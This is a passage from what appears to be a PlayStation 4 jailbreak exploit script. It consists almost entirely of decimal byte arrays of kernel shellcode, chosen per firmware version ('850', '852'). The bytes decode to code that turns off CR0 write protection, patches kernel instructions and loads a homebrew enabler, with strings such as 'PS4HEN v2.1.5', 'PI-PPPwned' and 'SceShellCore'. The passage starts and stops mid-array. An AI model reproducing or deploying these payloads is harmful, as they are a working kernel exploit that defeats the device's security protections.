2,141,13,160,6,0,0,186,4,0,0,0,72,137,239,232,97,250,255,255,133,192,15,133,205,0,0,0,73,137,222,69,49,255,72,141,13,159,6,0,0,72,137,206,186,12,0,0,0,76,137,247,255,21,117,8,0,0,72,141,13,135,6,0,0,133,192,117,27,102,65,131,126,56,4,118,19,73,131,126,32,0,116,142,69,49,246,76,141,61,119,6,0,0,235,40,73,255,199,73,131,198,58,77,57,253,117,189,233,113,255,255,255,102,131,123,56,4,119,39,73,255,198,72,131,195,58,77,57,245,15,132,237,254,255,255,186,18,0,0,0,76,137,254,72,137,223,255,21,22,8,0,0,133,192,117,219,235,210,72,139,91,32,72,133,219,15,132,201,254,255,255,76,141,108,36,18,72,141,179,48,209,1,0,77,137,224,76,137,233,186,6,0,0,0,72,137,239,232,170,249,255,255,133,192,117,26,72,141,179,144,212,1,0,77,137,224,76,137,233,186,6,0,0,0,72,137,239,232,140,249,255,255,72,139,124,36,32,72,133,255,116,13,137,68,36,12,232,38,249,255,255,139,68,36,12,72,131,196,56,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,65,85,65,84,85,83,72,131,236,56,72,141,61,196,5,0,0,72,199,68,36,24,0,0,0,0,232,253,248,255,255,72,133,192,117,10,184,1,0,0,0,233,171,0,0,0,72,141,84,36,32,72,141,116,36,24,72,137,199,72,137,197,232,222,249,255,255,69,49,228,76,141,45,93,5,0,0,133,192,117,211,76,57,100,36,32,72,139,92,36,24,118,199,73,107,196,58,186,10,0,0,0,76,137,238,72,1,195,72,137,223,255,21,39,7,0,0,133,192,117,18,102,131,123,56,5,117,11,72,139,91,32,72,133,219,117,7,235,153,73,255,196,235,193,76,141,68,36,40,72,141,179,200,196,16,0,72,141,13,64,5,0,0,186,1,0,0,0,72,137,239,76,137,68,36,8,232,173,248,255,255,133,192,117,32,76,139,68,36,8,72,141,179,230,196,16,0,72,141,13,25,5,0,0,186,2,0,0,0,72,137,239,232,137,248,255,255,72,139,124,36,24,72,133,255,116,13,137,68,36,8,232,35,248,255,255,139,68,36,8,72,131,196,56,91,93,65,92,65,93,195,243,15,30,250,185,130,0,0,192,137,254,15,50,15,32,193,72,137,207,72,129,231,255,255,254,255,15,34,199,156,95,250,72,193,226,32,72,9,194,131,254,1,72,141,130,144,19,181,1,25,210,131,226,237,131,194,55,136,80,54,137,242,247,218,24,210,131,226,3,133,246,136,80,89,15,149,194,136,80,90,136,80,120,87,157,15,34,193,195,243,15,30,250,191,1,0,0,0,235,156,243,15,30,250,49,255,235,148,243,15,30,250,80,232,173,252,255,255,90,49,192,233,131,254,255,255,243,15,30,250,49,192,235,230,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,70,65,75,69,70,65,75,69,70,65,75,69,70,65,75,69,150,194,38,141,105,38,28,139,30,59,107,255,47,224,78,18,245,115,184,126,92,152,124,135,103,241,218,174,160,249,75,171,119,216,206,100,106,193,79,166,155,185,170,204,118,9,164,63,185,250,245,98,132,10,184,73,2,223,158,196,26,55,211,86,13,164,110,21,7,21,160,141,151,157,146,32,67,82,195,178,253,247,211,243,105,162,40,79,98,111,128,64,95,59,128,30,94,56,13,139,86,168,86,88,216,217,111,234,18,42,64,22,193,237,61,39,22,160,99,151,97,57,85,204,138,5,250,8,40,253,85,86,49,148,101,5,231,211,87,108,13,28,103,11,77,53,103,56,188,144,62,59,170,108,188,242,235,158,69,210,9,47,202,58,156,2,54,173,46,193,177,178,109,124,31,107,161,143,98,32,140,214,108,54,214,90,84,158,48,169,168,37,61,148,18,62,13,22,27,240,134,66,114,224,214,156,57,104,219,17,128,150,24,43,113,65,72,120,232,23,139,125,0,31,22,104,210,117,151,181,224,242,109,12,117,172,22,217,213,177,181,139,232,208,191,167,31,97,91,8,248,104,231,240,209,188,57,96,191,85,156,124,32,48,232,80,40,68,2,206,81,42,37,84,219,253,134,69,151,154,30,23,240,227,165,146,15,18,42,92,76,166,165,207,127,232,91,243,101,26,200,207,155,185,42,201,144,93,212,8,207,246,3,90,90,252,158,182,219,17,237,226,61,98,193,252,136,93,151,172,49,45,195,21,173,112,5,190,160,90,230,52,156,68,120,43,229,254,56,86,212,104,131,19,164,230,250,210,156,171,172,137,95,16,143,117,111,4,188,174,185,188,183,29,66,250,78,148,31,180,10,39,156,107,171,199,210,235,39,66,82,41,65,200,37,64,84,224,72,109,35,128,119,132,77,111,155,36,81,254,42,107,40,128,161,158,189,109,24,202,141,125,158,121,90,224,184,235,209,61,243,217,2,144,42,167,181,126,154,162,215,47,33,168,80,125,140,161,145,47,191,151,190,146,194,193,13,140,12,31,222,49,53,21,57,144,204,151,71,46,127,9,233,195,156,206,145,178,200,88,118,232,112,29,114,95,74,230,170,54,34,148,198,82,144,179,159,155,240,239,87,142,83,195,227,48,201,215,176,58,12,121,27,151,168,212,129,34,210,176,130,98,125,0,88,71,158,199,45,232,180,101,190,5,120,106,137,49,201,90,68,222,80,193,199,253,157,62,33,66,23,64,121,249,201,65,193,252,215,15,52,118,163,226,192,27,90,32,15,175,47,82,205,131,52,114,175,179,18,51,33,44,32,176,198,160,45,177,89,227,167,176,78,28,76,91,95,16,154,80,24,204,134,121,37,255,16,2,143,144,3,169,55,186,242,28,19,204,9,69,21,184,85,116,10,40,36,4,209,25,171,179,202,68,182,248,61,177,42,114,136,53,228,134,107,85,71,8,37,22,171,105,29,191,246,254,47,100,97,116,97,47,115,101,108,102,47,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,49,0,0,0,0,0,0,0,0,0,255,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,64,0,48,0,48,0,0,0,0,0,0,0,64,0,0,0,0,0,0,128,0,0,64,255,255,0,0,0,240,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,49,0,0,0,0,128,3,0,32,0,255,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,64,0,64,0,64,0,0,0,0,0,0,0,64,2,0,0,0,0,0,128,0,0,64,255,255,0,0,0,240,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,83,99,101,83,104,101,108,108,67,111,114,101,0,49,192,144,144,144,0,144,233,0,235,0,72,49,192,195,0,144,144,144,144,144,0,83,99,101,83,104,101,108,108,85,73,0,101,120,101,99,117,116,97,98,108,101,0,97,112,112,46,101,120,101,46,115,112,114,120,0,108,105,98,107,101,114,110,101,108,95,115,121,115,46,115,112,114,120,0,83,99,101,82,101,109,111,116,101,80,108,97,121,0,1,0,235,30,0,0,0,0,0,0,0,0,0,0,0,0,0,233,150,0,0,0,144,144,144,0,102,114,101,101,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,32,141,22,0,208,207,132,0,50,193,137,0,224,53,162,0,74,141,22,0,120,41,36,0,250,207,132,0,10,54,162,0,64,32,0,0,37,115,0,47,117,112,100,97,116,101,47,80,83,52,85,80,68,65,84,69,46,80,85,80,0,47,117,112,100,97,116,101,47,80,83,52,85,80,68,65,84,69,46,80,85,80,46,110,101,116,46,116,101,109,112,0,87,101,108,99,111,109,101,32,116,111,32,80,83,52,72,69,78,32,118,50,46,49,46,53,0,108,105,98,107,101,114,110,101,108,46,115,112,114,120,0,108,105,98,107,101,114,110,101,108,95,119,101,98,46,115,112,114,120,0,108,105,98,107,101,114,110,101,108,95,115,121,115,46,115,112,114,120,0,95,95,101,114,114,111,114,0,115,99,101,75,101,114,110,101,108,76,111,97,100,83,116,97,114,116,77,111,100,117,108,101,0,108,105,98,83,99,101,76,105,98,99,73,110,116,101,114,110,97,108,46,115,112,114,120,0,109,101,109,115,101,116,0,109,101,109,99,112,121,0,115,112,114,105,110,116,102,0,47,115,121,115,116,101,109,47,99,111,109,109,111,110,47,108,105,98,47,108,105,98,83,99,101,83,121,115,85,116,105,108,46,115,112,114,120,0,115,99,101,83,121,115,85,116,105,108,83,101,110,100,83,121,115,116,101,109,78,111,116,105,102,105,99,97,116,105,111,110,87,105,116,104,84,101,120,116,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,245,254,255,111,0,0,0,0,160,38,0,0,0,0,0,0,5,0,0,0,0,0,0,0,152,38,0,0,0,0,0,0,6,0,0,0,0,0,0,0,128,38,0,0,0,0,0,0,10,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,11,0,0,0,0,0,0,0,24,0,0,0,0,0,0,0,21,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,30,0,0,0,0,0,0,0,8,0,0,0,0,0,0,0,251,255,255,111,0,0,0,0,1,0,0,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0])
        
        
    elif args.fw in ('850', '852'):
        offs = OffsetsFirmware_850_852()
        payload = bytearray([233,190,1,0,0,243,15,30,250,72,139,22,49,192,255,226,243,15,30,250,72,139,71,8,185,130,0,0,192,72,139,191,48,1,0,0,72,139,112,64,76,139,64,72,15,50,72,193,226,32,137,192,72,199,70,4,0,0,0,0,72,9,194,72,139,134,24,1,0,0,199,70,20,0,0,0,0,199,0,0,0,0,0,72,139,130,48,167,17,1,72,137,70,48,72,139,130,144,95,198,1,73,137,64,32,73,137,64,24,72,184,19,0,0,0,0,0,1,56,72,137,71,88,49,192,72,199,71,96,255,255,255,255,72,199,71,104,255,255,255,255,195,83,72,137,251,72,131,236,32,72,139,5,227,51,0,0,72,137,116,36,8,72,141,116,36,8,72,139,128,248,0,0,0,137,84,36,16,72,199,135,152,3,0,0,0,0,0,0,199,68,36,24,0,0,0,0,255,208,133,192,116,4,247,216,235,6,139,131,152,3,0,0,72,131,196,32,91,195,243,15,30,250,72,137,248,128,56,0,116,5,72,255,192,235,246,72,41,248,195,243,15,30,250,49,192,72,57,194,116,18,138,12,7,72,255,192,58,76,6,255,116,239,25,192,131,200,1,195,49,192,195,243,15,30,250,69,49,192,72,133,246,116,42,76,139,135,216,114,189,1,72,137,247,232,176,255,255,255,72,137,194,73,141,184,84,4,0,0,232,182,255,255,255,133,192,116,8,77,139,0,77,133,192,117,232,76,137,192,195,243,15,30,250,65,87,73,137,255,185,130,0,0,192,65,86,73,137,246,65,85,65,84,85,83,65,80,15,50,72,193,226,32,137,192,189,50,0,0,0,73,189,0,0,32,38,9,0,0,0,72,9,194,72,141,154,16,151,20,0,77,137,236,79,141,108,53,0,106,0,49,246,106,7,76,137,225,65,185,7,0,0,0,77,137,232,49,210,76,137,255,255,211,89,94,133,192,116,7,255,205,117,213,69,49,228,90,76,137,224,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,65,87,185,130,0,0,192,65,86,65,85,65,84,85,83,72,129,236,88,12,0,0,15,50,72,193,226,32,137,192,72,9,194,72,137,214,15,50,72,193,226,32,137,192,72,9,194,72,141,134,0,196,15,1,72,137,5,124,50,0,0,76,141,162,64,254,255,255,15,32,193,72,137,200,72,37,255,255,254,255,15,34,192,198,134,2,3,0,0,235,72,141,29,221,253,255,255,102,199,134,131,65,58,0,144,144,198,134,133,65,58,0,144,102,199,134,142,64,58,0,144,144,198,134,144,64,58,0,144,102,199,134,47,70,58,0,144,144,198,134,49,70,58,0,144,72,139,5,33,50,0,0,199,134,208,2,0,0,0,0,0,0,102,199,134,245,2,0,0,144,144,102,199,134,249,2,0,0,144,144,102,199,134,119,65,58,0,144,144,102,199,134,130,64,58,0,144,144,102,199,134,35,70,58,0,144,144,102,199,134,96,70,58,0,144,144,102,65,199,132,36,84,81,33,0,144,144,65,198,132,36,108,154,33,0,7,65,198,132,36,116,154,33,0,7,72,137,152,24,2,0,0,72,141,29,70,253,255,255,102,199,68,36,5,144,144,198,68,36,7,144,199,128,16,2,0,0,2,0,0,0,199,128,60,2,0,0,1,0,0,0,199,128,176,1,0,0,2,0,0,0,72,137,152,184,1,0,0,199,128,220,1,0,0,1,0,0,0,15,34,193,49,192,72,141,124,36,32,185,12,3,0,0,243,171,72,141,68,36,77,72,141,53,61,9,0,0,185,11,0,0,0,72,137,199,199,68,36,48,255,255,255,255,76,141,138,192,131,20,0,72,141,154,48,132,20,0,243,164,72,141,53,33,9,0,0,76,137,231,198,68,36,76,1,101,72,139,44,37,0,0,0,0,232,177,253,255,255,72,133,192,15,132,50,1,0,0,76,139,184,104,1,0,0,73,137,197,76,137,255,65,255,209,190,0,0,8,0,76,137,255,232,197,253,255,255,76,137,255,73,137,198,255,211,76,99,5,44,9,0,0,76,137,241,76,137,234,80,76,141,13,62,9,0,0,76,137,230,72,137,239,106,0,232,231,2,0,0,90,89,133,192,15,133,225,0,0,0,76,137,241,76,137,234,76,137,230,72,137,239,232,6,4,0,0,133,192,15,133,200,0,0,0,76,141,37,158,8,0,0,186,1,0,0,0,72,137,239,76,137,230,232,165,252,255,255,137,195,133,192,117,73,186,5,0,0,0,76,137,230,72,137,239,232,143,252,255,255,137,195,133,192,117,51,76,141,37,126,8,0,0,186,1,0,0,0,72,137,239,76,137,230,232,114,252,255,255,137,195,133,192,117,22,186,5,0,0,0,76,137,230,72,137,239,232,92,252,255,255,137,195,133,192,116,98,72,139,5,65,48,0,0,72,141,84,36,32,76,141,100,36,8,72,137,239,76,137,230,72,139,128,200,0,0,0,72,199,133,152,3,0,0,0,0,0,0,137,92,36,8,72,137,84,36,16,72,199,68,36,24,48,12,0,0,255,208,72,139,5,4,48,0,0,76,137,230,72,137,239,72,139,128,40,1,0,0,72,199,133,152,3,0,0,0,0,0,0,137,92,36,8,255,208,72,129,196,88,12,0,0,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,65,87,76,141,190,32,135,20,0,65,86,65,85,73,137,205,185,130,0,0,192,65,84,77,137,196,85,83,72,137,243,72,131,236,40,76,139,178,104,1,0,0,72,199,68,36,24,0,0,0,0,15,50,72,141,134,208,134,20,0,76,137,247,255,208,73,99,174,0,1,0,0,133,237,117,7,49,219,233,164,0,0,0,49,246,72,141,84,36,24,72,141,131,16,141,20,0,76,137,247,255,208,133,192,137,68,36,12,117,222,72,99,253,72,141,179,240,143,82,1,186,2,0,0,0,72,129,195,64,90,11,0,72,107,255,58,255,211,72,137,195,72,133,192,116,186,139,76,36,12,57,233,125,93,72,139,84,36,24,72,131,192,58,72,139,114,32,72,137,112,230,72,139,114,40,72,137,112,238,72,139,114,80,72,137,112,246,139,122,92,137,254,102,193,238,8,33,254,102,137,112,254,15,16,130,141,0,0,0,15,17,64,198,15,16,138,157,0,0,0,72,139,84,36,24,15,17,72,214,72,139,82,8,72,137,84,36,24,72,133,210,116,4,255,193,235,159,76,137,247,65,255,215,77,133,237,116,4,73,137,93,0,77,133,228,116,4,73,137,44,36,72,131,196,40,49,192,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,85,73,137,250,73,137,203,72,137,215,83,185,130,0,0,192,72,131,236,72,72,139,108,36,96,15,50,73,129,248,255,255,63,0,119,125,72,133,255,116,120,76,137,195,77,133,192,117,17,49,192,72,133,237,116,110,72,199,69,0,0,0,0,0,235,100,72,137,224,76,137,68,36,8,72,137,68,36,16,49,192,131,124,36,104,0,15,149,192,76,137,68,36,40,76,141,68,36,16,137,68,36,52,72,141,134,80,27,19,0,76,137,198,76,137,12,36,199,68,36,24,1,0,0,0,76,137,92,36,32,199,68,36,48,1,0,0,0,76,137,84,36,56,255,208,72,133,237,116,16,72,43,92,36,40,72,137,93,0,235,5,184,1,0,0,0,72,131,196,72,91,93,195,243,15,30,250,80,106,0,255,116,36,24,232,63,255,255,255,72,131,196,24,195,243,15,30,250,80,106,1,255,116,36,24,232,42,255,255,255,72,131,196,24,195,243,15,30,250,65,87,65,86,65,85,65,84,85,72,137,205,185,130,0,0,192,83,72,137,243,72,137,214,72,131,236,40,72,199,68,36,24,0,0,0,0,15,50,72,141,131,144,183,20,0,65,188,1,0,0,0,72,137,68,36,8,72,133,237,116,125,76,139,190,104,1,0,0,77,137,198,76,141,131,128,133,20,0,76,141,171,240,133,20,0,76,137,255,65,255,208,72,139,68,36,8,72,141,76,36,24,76,137,242,49,246,76,137,255,255,208,65,137,196,133,192,116,8,76,137,255,65,255,213,235,60,72,139,76,36,24,49,210,106,0,65,185,7,0,0,0,106,7,49,246,76,137,255,72,129,195,208,152,20,0,78,141,4,49,255,211,76,137,255,65,137,196,65,255,213,88,90,69,133,228,117,9,72,139,68,36,24,72,137,69,0,72,131,196,40,68,137,224,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,65,85,65,84,73,137,204,85,76,137,197,83,72,137,243,80,76,139,170,104,1,0,0,72,141,134,128,133,20,0,76,137,239,255,208,73,141,20,44,76,137,230,76,137,239,72,141,131,208,177,20,0,72,129,195,240,133,20,0,255,208,76,137,239,65,137,196,255,211,90,68,137,224,91,93,65,92,65,93,195,243,15,30,250,65,87,65,86,73,137,254,65,85,73,137,213,65,84,85,72,137,245,83,72,129,236,136,0,0,0,72,137,76,36,40,185,130,0,0,192,72,199,68,36,56,0,0,0,0,72,199,68,36,64,0,0,0,0,72,199,68,36,72,0,0,0,0,72,199,68,36,80,0,0,0,0,72,199,68,36,88,0,0,0,0,15,50,65,184,0,64,0,0,72,141,76,36,56,76,137,234,232,113,254,255,255,65,137,196,133,192,15,133,168,2,0,0,72,141,76,36,64,76,137,234,72,137,238,76,137,247,65,184,0,0,8,0,232,77,254,255,255,65,137,196,133,192,15,133,132,2,0,0,72,139,92,36,56,86,76,137,247,76,137,234,65,184,255,0,0,0,76,141,13,222,2,0,0,72,137,238,72,137,217,76,141,124,36,96,65,87,232,2,254,255,255,95,65,88,65,137,196,133,192,15,133,75,2,0,0,73,139,69,16,72,141,76,36,72,76,137,234,72,137,238,76,141,68,36,80,76,137,247,72,137,68,36,16,232,233,251,255,255,65,137,196,133,192,15,133,31,2,0,0,72,139,68,36,80,72,139,76,36,72,72,199,68,36,96,0,0,0,0,69,49,192,72,199,68,36,104,0,0,0,0,72,141,53,169,3,0,0,72,199,68,36,112,0,0,0,0,72,199,68,36,120,0,0,0,0,72,137,68,36,8,76,57,68,36,8,15,132,215,1,0,0,102,131,121,56,5,117,115,72,137,207,186,18,0,0,0,76,137,68,36,32,72,137,76,36,24,232,188,247,255,255,72,139,76,36,24,76,139,68,36,32,72,141,53,88,3,0,0,133,192,117,71,72,139,65,32,72,141,136,128,85,1,0,72,141,144,80,84,1,0,72,137,76,36,104,72,141,136,208,69,1,0,72,5,48,216,8,0,72,137,68,36,120,72,139,68,36,64,72,137,84,36,96,72,137,76,36,112,72,137,68,36,8,72,133,210,117,17,233,93,1,0,0,73,255,192,72,131,193,58,233,111,255,255,255,80,72,141,75,13,76,137,234,65,184,8,0,0,0,65,87,72,137,238,76,137,247,76,141,76,36,56,232,218,252,255,255,90,89,133,192,15,133,36,1,0,0,65,81,72,141,75,21,65,184,8,0,0,0,76,137,234,65,87,72,137,238,76,137,247,76,141,76,36,112,232,175,252,255,255,65,90,65,91,133,192,15,133,247,0,0,0,86,65,184,8,0,0,0,76,137,247,72,141,75,29,65,87,76,137,234,72,137,238,76,141,76,36,120,232,131,252,255,255,95,65,88,133,192,15,133,204,0,0,0,65,82,76,137,234,72,141,75,37,65,184,8,0,0,0,65,87,72,137,238,76,137,247,76,141,140,36,128,0,0,0,232,84,252,255,255,65,91,90,133,192,15,133,157,0,0,0,87,65,184,8,0,0,0,72,141,75,45,76,137,234,65,87,72,137,238,76,137,247,76,141,140,36,136,0,0,0,232,38,252,255,255,65,88,65,89,133,192,117,114,86,72,141,83,77,72,141,133,64,36,57,0,49,201,106,0,65,185,0,0,8,0,49,246,106,0,106,0,106,0,106,0,76,139,68,36,56,72,139,124,36,64,255,208,72,131,196,48,133,192,117,62,198,68,36,55,0,76,141,76,36,55,80,72,141,75,12,76,137,234,65,184,1,0,0,0,65,87,72,137,238,76,137,247,76,137,76,36,24,232,171,251,255,255,90,89,133,192,117,14,128,124,36,55,0,76,139,76,36,8,116,206,235,3,65,137,196,72,139,124,36,72,72,133,255,116,16,72,141,181,240,143,82,1,72,141,133,0,92,11,0,255,208,72,139,76,36,56,72,133,201,116,20,65,184,0,64,0,0,76,137,234,72,137,238,76,137,247,232,87,252,255,255,72,139,76,36,64,72,133,201,116,20,65,184,0,0,8,0,76,137,234,72,137,238,76,137,247,232,57,252,255,255,72,129,196,136,0,0,0,68,137,224,91,93,65,92,65,93,65,94,65,95,195,0,0,0,0,0,0,0,0,82,76,68,82,77,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,114,112,99,115,116,117,98,0,72,139,61,217,255,255,255,72,139,55,72,139,190,224,1,0,0,232,122,0,0,0,72,141,61,211,255,255,255,76,139,37,164,255,255,255,65,255,212,190,0,0,8,0,72,141,61,189,255,255,255,76,139,37,150,255,255,255,65,255,212,76,141,5,180,255,255,255,185,0,0,0,0,72,139,21,112,255,255,255,72,141,53,153,255,255,255,72,141,61,138,255,255,255,76,139,37,115,255,255,255,65,255,212,198,5,80,255,255,255,1,191,0,0,0,0,232,1,0,0,0,195,184,175,1,0,0,73,137,202,15,5,195,184,165,0,0,0,73,137,202,15,5,195,85,72,137,229,83,72,131,236,24,72,137,125,232,72,141,117,232,191,129,0,0,0,232,218,255,255,255,72,131,196,24,91,93,195,80,73,45,80,80,80,119,110,101,100,0,83,99,101,83,104,101,108,108,67,111,114,101,0,47,100,101,118,47,110,111,116,105,102,105,99,97,116,105,111,110,48,0,47,100,101,118,47,110,111,116,105,102,105,99,97,116,105,111,110,49,0,108,105,98,107,101,114,110,101,108,95,115,121,115,46,115,112,114,120,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,160,39,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,233,250,2,0,0,72,49,192,73,137,202,15,5,114,1,195,72,131,61,176,39,0,0,0,116,24,80,255,21,167,39,0,0,89,137,8,72,199,192,255,255,255,255,72,199,194,255,255,255,255,195,243,15,30,250,65,87,185,130,0,0,192,65,86,65,85,15,50,65,84,72,193,226,32,85,83,72,131,236,24,72,9,208,72,139,86,8,76,141,128,240,103,191,1,76,137,68,36,8,76,139,34,76,139,106,8,77,133,228,15,132,63,2,0,0,73,131,253,7,15,134,53,2,0,0,72,141,152,64,254,255,255,76,141,184,160,146,17,0,72,141,168,144,103,206,0,72,184,88,68,65,79,76,89,65,80,73,57,4,36,15,133,12,2,0,0,65,15,32,198,76,137,240,72,37,255,255,254,255,15,34,192,199,131,96,191,82,1,0,0,0,0,49,246,102,199,131,47,124,1,0,235,76,72,137,239,102,199,131,64,208,58,0,49,192,186,0,64,0,0,198,131,66,208,58,0,195,198,131,234,38,8,0,55,198,131,237,38,8,0,55,199,131,207,243,34,0,184,0,0,0,198,131,211,243,34,0,0,198,131,108,154,33,0,7,198,131,116,154,33,0,7,102,199,131,55,67,58,0,144,144,102,199,131,67,67,58,0,144,144,198,131,69,67,58,0,144,102,199,131,66,66,58,0,144,144,102,199,131,78,66,58,0,144,144,198,131,80,66,58,0,144,102,199,131,227,71,58,0,144,144,102,199,131,239,71,58,0,144,144,198,131,241,71,58,0,144,102,199,131,32,72,58,0,144,144,198,131,253,64,58,0,235,199,131,77,37,19,0,144,144,144,144,102,199,131,81,37,19,0,144,144,199,131,15,42,19,0,233,124,2,0,198,131,19,42,19,0,0,199,131,140,32,35,0,72,49,192,144,198,131,144,32,35,0,144,199,131,166,115,39,0,144,144,144,144,102,199,131,170,115,39,0,144,144,199,131,219,214,20,0,144,144,144,144,102,199,131,223,214,20,0,144,144,102,199,131,64,63,104,0,49,192,198,131,66,63,104,0,195,102,199,131,96,220,100,0,176,1,198,131,98,220,100,0,195,102,199,131,144,220,100,0,176,1,198,131,146,220,100,0,195,102,199,131,87,214,21,0,235,59,199,131,167,167,58,0,144,144,144,144,102,199,131,171,167,58,0,144,144,199,131,199,214,39,0,144,144,144,144,102,199,131,203,214,39,0,144,144,102,199,131,2,70,58,0,144,144,102,199,131,17,70,58,0,144,144,199,131,248,160,78,0,0,0,0,0,199,131,108,179,78,0,0,0,0,0,255,21,103,37,0,0,76,137,234,76,137,230,72,137,239,255,21,80,37,0,0,198,131,167,148,17,0,235,72,139,124,36,8,74,141,148,45,255,63,0,0,72,137,238,72,129,226,0,192,255,255,72,129,230,0,192,255,255,185,7,0,0,0,65,255,215,198,131,167,148,17,0,117,65,15,34,198,73,139,84,36,8,72,131,196,24,91,49,192,72,1,234,93,65,92,65,93,65,94,65,95,255,226,72,131,196,24,131,200,255,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,85,72,137,250,72,129,236,0,2,0,0,72,141,53,130,34,0,0,72,137,229,49,192,72,137,239,255,21,192,36,0,0,72,137,238,191,222,0,0,0,255,21,170,36,0,0,72,129,196,0,2,0,0,93,195,243,15,30,250,65,85,65,84,85,72,131,236,16,232,238,0,0,0,232,107,1,0,0,72,141,5,251,1,0,0,72,137,4,36,139,5,49,34,0,0,72,137,68,36,8,49,192,255,21,148,36,0,0,72,137,230,72,141,61,245,252,255,255,199,0,0,0,0,0,232,116,0,0,0,133,192,65,137,196,116,11,49,192,255,21,112,36,0,0,68,139,32,76,141,45,253,33,0,0,76,137,239,72,141,45,9,34,0,0,232,64,0,0,0,72,137,239,232,56,0,0,0,76,137,239,190,255,1,0,0,232,67,0,0,0,72,137,239,190,255,1,0,0,232,54,0,0,0,232,73,1,0,0,72,141,61,245,33,0,0,232,32,255,255,255,72,131,196,16,68,137,224,93,65,92,65,93,195,72,199,192,10,0,0,0,233,75,252,255,255,72,199,192,11,0,0,0,233,63,252,255,255,72,199,192,136,0,0,0,233,51,252,255,255,72,199,192,79,2,0,0,233,39,252,255,255,243,15,30,250,72,137,241,49,210,72,137,254,69,49,192,80,191,82,2,0,0,49,192,232,8,252,255,255,90,195,243,15,30,250,85,72,141,61,162,33,0,0,72,131,236,16,72,199,5,174,35,0,0,0,0,0,0,72,141,108,36,12,72,137,238,232,186,255,255,255,133,192,116,34,72,137,238,72,141,61,135,33,0,0,232,167,255,255,255,133,192,116,15,72,137,238,72,141,61,135,33,0,0,232,148,255,255,255,139,124,36,12,72,141,21,112,35,0,0,72,141,53,131,33,0,0,232,113,255,255,255,139,124,36,12,72,141,21,81,35,0,0,72,141,53,116,33,0,0,232,90,255,255,255,72,131,196,16,93,195,243,15,30,250,85,69,49,201,69,49,192,49,201,49,210,49,246,72,141,61,106,33,0,0,255,21,33,35,0,0,72,141,21,18,35,0,0,72,141,53,110,33,0,0,137,197,137,199,232,31,255,255,255,137,239,72,141,21,241,34,0,0,72,141,53,92,33,0,0,232,10,255,255,255,137,239,93,72,141,21,211,34,0,0,72,141,53,77,33,0,0,233,244,254,255,255,243,15,30,250,49,201,49,210,49,246,72,141,61,63,33,0,0,69,49,201,80,69,49,192,255,21,193,34,0,0,89,72,141,21,153,34,0,0,137,199,72,141,53,71,33,0,0,233,192,254,255,255,0,0,0,88,68,65,79,76,89,65,80,245,18,0,0,0,0,0,0,243,15,30,250,131,63,8,117,74,139,71,24,137,193,193,233,24,117,64,137,194,129,226,0,0,12,0,129,250,0,0,12,0,117,48,129,127,56,55,19,0,0,117,39,37,255,255,251,255,72,141,13,103,27,0,0,137,71,24,49,192,72,137,194,72,247,218,138,20,10,136,84,7,56,72,255,192,72,131,248,16,117,234,255,37,47,32,0,0,65,87,65,86,65,85,65,84,85,83,72,131,236,40,73,137,252,73,137,245,137,211,72,137,205,101,76,139,52,37,0,0,0,0,76,141,124,36,12,186,20,0,0,0,76,137,255,49,246,255,21,192,32,0,0,137,92,36,12,72,141,124,36,16,76,137,238,186,16,0,0,0,255,21,177,32,0,0,72,139,53,58,32,0,0,76,137,247,49,210,255,21,175,32,0,0,76,137,225,76,137,254,72,137,239,65,184,32,0,0,0,186,20,0,0,0,255,21,205,31,0,0,72,139,53,14,32,0,0,76,137,247,255,21,125,32,0,0,72,131,196,40,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,65,87,65,86,65,85,65,84,85,83,72,129,236,192,1,0,0,73,137,253,139,132,36,24,2,0,0,72,137,243,68,139,180,36,16,2,0,0,72,137,213,80,65,86,139,132,36,24,2,0,0,80,255,180,36,24,2,0,0,255,180,36,24,2,0,0,255,21,66,31,0,0,72,131,196,48,133,192,65,137,196,15,132,223,2,0,0,69,133,246,15,133,214,2,0,0,76,141,76,36,32,49,246,76,137,207,76,137,76,36,8,186,16,0,0,0,76,141,124,36,48,255,21,219,31,0,0,76,141,116,36,80,72,137,108,36,32,72,199,68,36,40,0,1,0,0,49,246,76,137,255,186,16,0,0,0,255,21,184,31,0,0,76,141,84,36,